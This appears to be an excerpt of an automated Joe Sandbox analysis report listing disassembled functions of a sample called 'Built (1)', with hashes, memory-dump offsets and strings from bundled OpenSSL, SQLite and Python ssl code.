                                              • Opcode Fuzzy Hash: 75b08b654c2f2e97f5e09b9c71eb3839d8696c64fca3119346ee776943bfacbe
                                              • Instruction Fuzzy Hash: 7AE1A172A0E28686E76AAB25944077A67E1FB847C4F585035EF9D437ADCB3CE851CB00
                                              Function 00007FFDFF1972F1 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 399COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
                                              • API String ID: 0-2031831958
                                              • Opcode ID: 3364e9d6f997aa58524a023cb552bd04ad735704393abd1cab1f5cef298485e9
                                              • Instruction ID: d68f1943c21b79cf5b0e576583b155f265187ee4886a9d0ec9fa30aa0a33ae91
                                              • Opcode Fuzzy Hash: 3364e9d6f997aa58524a023cb552bd04ad735704393abd1cab1f5cef298485e9
                                              • Instruction Fuzzy Hash: 89F1E023F0D68186EB35CF2590A4A7D6BA1EF55788F454239DABE43789DF2CE504CB80
                                              Function 00007FFE00762126 Relevance: 10.6, APIs: 7, Instructions: 73COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                              • String ID:
                                              • API String ID: 3140674995-0
                                              • Opcode ID: 8ddad5856ca7d92d08f3a49177604ac729a807c7ded62544596a6cea2bdea3ec
                                              • Instruction ID: 251b89304864681cb15f1acc4a647a6e5ca93109f74c9e37f33a84937eed8496
                                              • Opcode Fuzzy Hash: 8ddad5856ca7d92d08f3a49177604ac729a807c7ded62544596a6cea2bdea3ec
                                              • Instruction Fuzzy Hash: 6A310E72609B8585EB60AF60E8507ED6375FB88744F44443ADB8E47BA9EF3CD648C710
                                              Function 00007FFE11EA464C Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFE11EA0000, based on PE: true
                                              • Associated: 00000001.00000002.1908309495.00007FFE11EA0000.00000002.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EAE000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EB1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908465592.00007FFE11EB2000.00000080.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ea0000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                              • String ID:
                                              • API String ID: 3140674995-0
                                              • Opcode ID: 8401b94f2305fc81fef5e266460278b275601b4170c9832580b7273363480af9
                                              • Instruction ID: 55df037e679c52a53660c7c1fe4ae73b6af526b63a621230db542cd792cf9976
                                              • Opcode Fuzzy Hash: 8401b94f2305fc81fef5e266460278b275601b4170c9832580b7273363480af9
                                              • Instruction Fuzzy Hash: 07311D76A05E8186EB60DFA1E8803EA7368FB84754F44407ADA4E47BA4DF3DD548C710
                                              Function 00007FFE0EB330D4 Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                              • String ID:
                                              • API String ID: 3140674995-0
                                              • Opcode ID: 349e4fbf8dcc3fc5864eb127ef56f46871c89f6798f18837e80a3047c958cd74
                                              • Instruction ID: c152045916931b1270bb12d2ec3e48358ff6a4088cfbf4572b8bd05da7baba06
                                              • Opcode Fuzzy Hash: 349e4fbf8dcc3fc5864eb127ef56f46871c89f6798f18837e80a3047c958cd74
                                              • Instruction Fuzzy Hash: 05313E76609B8286EB708F70E8917EE73A0FB84744F44443ADA8E47BA5DF38D549CB10
                                              Function 00007FFE00761CBC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 292COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: ..\s\ssl\statem\statem_srvr.c$construct_stateful_ticket$resumption$tls_construct_new_session_ticket
                                              • API String ID: 0-1194634662
                                              • Opcode ID: ef7342f60bc5b2d48a9fd6b8c6db10ef1ff12d171feaad55dce560bd1c9dc77c
                                              • Instruction ID: 67426a1814927fbe5261dd5337669b2b9078f628fcada2224beb839b6dc1e392
                                              • Opcode Fuzzy Hash: ef7342f60bc5b2d48a9fd6b8c6db10ef1ff12d171feaad55dce560bd1c9dc77c
                                              • Instruction Fuzzy Hash: 8CD18932B1A78781EB11EB65D8446A967A0FB85B88F4C0036DF8D4B7AADF7DE541C310
                                              Function 00007FFE00761EDD Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 461COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_psk
                                              • API String ID: 3568877910-3130753023
                                              • Opcode ID: 1f5c165f081e2b630bbd1caa169cba93006ed19e963177b2c0bea09c2ce7ca5d
                                              • Instruction ID: ddfb3eb1f8d3f73d712e47a3b163fa6ecd0d9c3af2c3302f66c6764e5e8290f5
                                              • Opcode Fuzzy Hash: 1f5c165f081e2b630bbd1caa169cba93006ed19e963177b2c0bea09c2ce7ca5d
                                              • Instruction Fuzzy Hash: 1912F362A0A68281FB12AB65D4557BE67A0FF81784F488032DF8D57BAEDF7CE541C700
                                              Function 00007FFDFF202D1D Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 488COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: D$Expression tree is too large (maximum depth %d)
                                              • API String ID: 1130837773-2970258559
                                              • Opcode ID: c9a8e25f9216a565d9634269ea33aeece4fb04f15c2e46e460278a1f5675c204
                                              • Instruction ID: ee8e4ccadba9f01c13b32302a54a36590e425f7e208de0b6149eba7088748592
                                              • Opcode Fuzzy Hash: c9a8e25f9216a565d9634269ea33aeece4fb04f15c2e46e460278a1f5675c204
                                              • Instruction Fuzzy Hash: 5A327E33B187818AD764CF25D590BA977A1FB98B84F188335DBAD87799DF38E4908700
                                              Function 00007FFDFF1AC0E0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 378COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: $recovered %d frames from WAL file %s
                                              • API String ID: 0-3175670447
                                              • Opcode ID: 5fc207de4d67a44c01b0bf123dd182bb95db9c06882e1c99e5e1d10942ba647a
                                              • Instruction ID: 607dfb966588789cf9f92afc5c950ed0a9de49b72d10da0515c51866971c0516
                                              • Opcode Fuzzy Hash: 5fc207de4d67a44c01b0bf123dd182bb95db9c06882e1c99e5e1d10942ba647a
                                              • Instruction Fuzzy Hash: 8BF18033B187858AE764DF25E054B6E77A1F784B88F105235DAAD8BB98DF38E444CB40
                                              Function 00007FFE007624D7 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 332COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\statem\extensions_clnt.c$tls_construct_ctos_psk
                                              • API String ID: 3568877910-446233508
                                              • Opcode ID: a11bef7cbfc6b8b4167c382bae992b6a17244433c9d55fface82dacda65976e8
                                              • Instruction ID: 6974897ae05e5879fc440dd172519e8aee75b8f6bd3364d3e44a61c0c992fab9
                                              • Opcode Fuzzy Hash: a11bef7cbfc6b8b4167c382bae992b6a17244433c9d55fface82dacda65976e8
                                              • Instruction Fuzzy Hash: F4E15B61B0E64781EB60BA22D5547BA62A5EF84B80F5C0436EF4E47BAEDF3DE541C700
                                              Function 00007FFE0EB3BBAC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 215COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              • Cannot create a client socket with a PROTOCOL_TLS_SERVER context, xrefs: 00007FFE0EB3BC3A
                                              • Cannot create a server socket with a PROTOCOL_TLS_CLIENT context, xrefs: 00007FFE0EB3BBF4
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007E00761
                                              • String ID: Cannot create a client socket with a PROTOCOL_TLS_SERVER context$Cannot create a server socket with a PROTOCOL_TLS_CLIENT context
                                              • API String ID: 442485017-1683031804
                                              • Opcode ID: b690ef375a4655ddc7eb7b3dbd54f3dd083911cc6f0dde101737e191e31f7aa9
                                              • Instruction ID: f34243496bbfc7c74fc8de7b7aee84a1b17c2f744190784448b5fe91b3b277ba
                                              • Opcode Fuzzy Hash: b690ef375a4655ddc7eb7b3dbd54f3dd083911cc6f0dde101737e191e31f7aa9
                                              • Instruction Fuzzy Hash: 95A14E36A08A5286EB749F36E88657A73A0FF84B94B544535CE8E43774DF3CE855CB00
                                              Function 00007FFDFF243140 Relevance: 30.0, APIs: 1, Strings: 16, Instructions: 233COMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 00007FFDFF1DCF80: 00007FFE1A462010.VCRUNTIME140(?,?,?,?,00000000,?,00000010,FFFFFFFF,?,00007FFDFF1DCCAD), ref: 00007FFDFF1DD128
                                                • Part of subcall function 00007FFDFF1DCA80: 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D6F9C), ref: 00007FFDFF1DCBD8
                                                • Part of subcall function 00007FFDFF1DCA80: 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D6F9C), ref: 00007FFDFF1DCC55
                                              • 00007FFE1A462010.VCRUNTIME140 ref: 00007FFDFF2434C4
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: FILTER clause may only be used with aggregate window functions$L$RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression$U$U$Y$Z$Z$cume_dist$dense_rank$lag$lead$ntile$percent_rank$rank$row_number
                                              • API String ID: 1130837773-2880407920
                                              • Opcode ID: 87ca4c3ad956487ab8519350e2f86f73bb751ae0622f70ca32ab0d8d84cacd7d
                                              • Instruction ID: 55c10bcba5586e6dbd8b35cf2fcce5a1da632ad4fbc08e5c1c22f8bffc1337dd
                                              • Opcode Fuzzy Hash: 87ca4c3ad956487ab8519350e2f86f73bb751ae0622f70ca32ab0d8d84cacd7d
                                              • Instruction Fuzzy Hash: D6B17C72B09B818AE720CF21E8A0AAE37B1FB45758F104225DE7D9778ADF7CD5558B00
                                              Function 00007FFE007756E0 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 101COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007B6570
                                              • String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192$check_suiteb_cipher_list
                                              • API String ID: 4069847057-1099454403
                                              • Opcode ID: cd731b4d236905a648258da8a9046f31ad121a3fa299a8f54cbee44a92dc2aeb
                                              • Instruction ID: c7a21a735198f45fefead67632e088af9f52a68cbf315c39e7bffcc74f3bfd2e
                                              • Opcode Fuzzy Hash: cd731b4d236905a648258da8a9046f31ad121a3fa299a8f54cbee44a92dc2aeb
                                              • Instruction Fuzzy Hash: 80418036B0EA4696E715AB21E84037833A0FF48B80F584439EB0E837ADDF6CE555CB41
                                              Function 00007FFDFF20CB40 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 386COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
                                              • API String ID: 0-3733955532
                                              • Opcode ID: 590e52fdde9bb6b9c986738a533067a8137f893c21e90ab0a2a10be5ad729fa5
                                              • Instruction ID: ab302904bafca5ff31c06bdfbde692fbf79abfbcbafa875be70b192c5bba3fa1
                                              • Opcode Fuzzy Hash: 590e52fdde9bb6b9c986738a533067a8137f893c21e90ab0a2a10be5ad729fa5
                                              • Instruction Fuzzy Hash: BB027F62B09A8281EB558F15A874BB967A1FF45B81F484235DE7EC66E8DF3CE845C300
                                              Function 00007FFDFF1CA950 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 330COMMON
                                              Download Yara Rule
                                              APIs
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFF1CAA53
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFF1CAB34
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
                                              • API String ID: 1130837773-875588658
                                              • Opcode ID: 1535c68949b8f22b0a3d55286401fa9fbeb6b1f585194565c5cbe68f2ebc7c90
                                              • Instruction ID: a75a6b5d34c42f1c32e92563ee0247dd687c12ca4d7dccf1670021db4b688189
                                              • Opcode Fuzzy Hash: 1535c68949b8f22b0a3d55286401fa9fbeb6b1f585194565c5cbe68f2ebc7c90
                                              • Instruction Fuzzy Hash: FCE14E63F086568AFB22CF64E470BFC27A2AB04758F444376DA3E926D9DF38A445C340
                                              Function 00007FFDFF1E6EA0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              • SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFDFF1E7037, 00007FFDFF1E70B3, 00007FFDFF1E71C1
                                              • SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFDFF1E739A
                                              • cannot add a STORED column, xrefs: 00007FFDFF1E71B2
                                              • Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFDFF1E702D
                                              • Cannot add a UNIQUE column, xrefs: 00007FFDFF1E6FDC
                                              • Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFDFF1E704F
                                              • Cannot add a column with non-constant default, xrefs: 00007FFDFF1E70A9
                                              • UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFDFF1E7254
                                              • Cannot add a PRIMARY KEY column, xrefs: 00007FFDFF1E6FC1
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
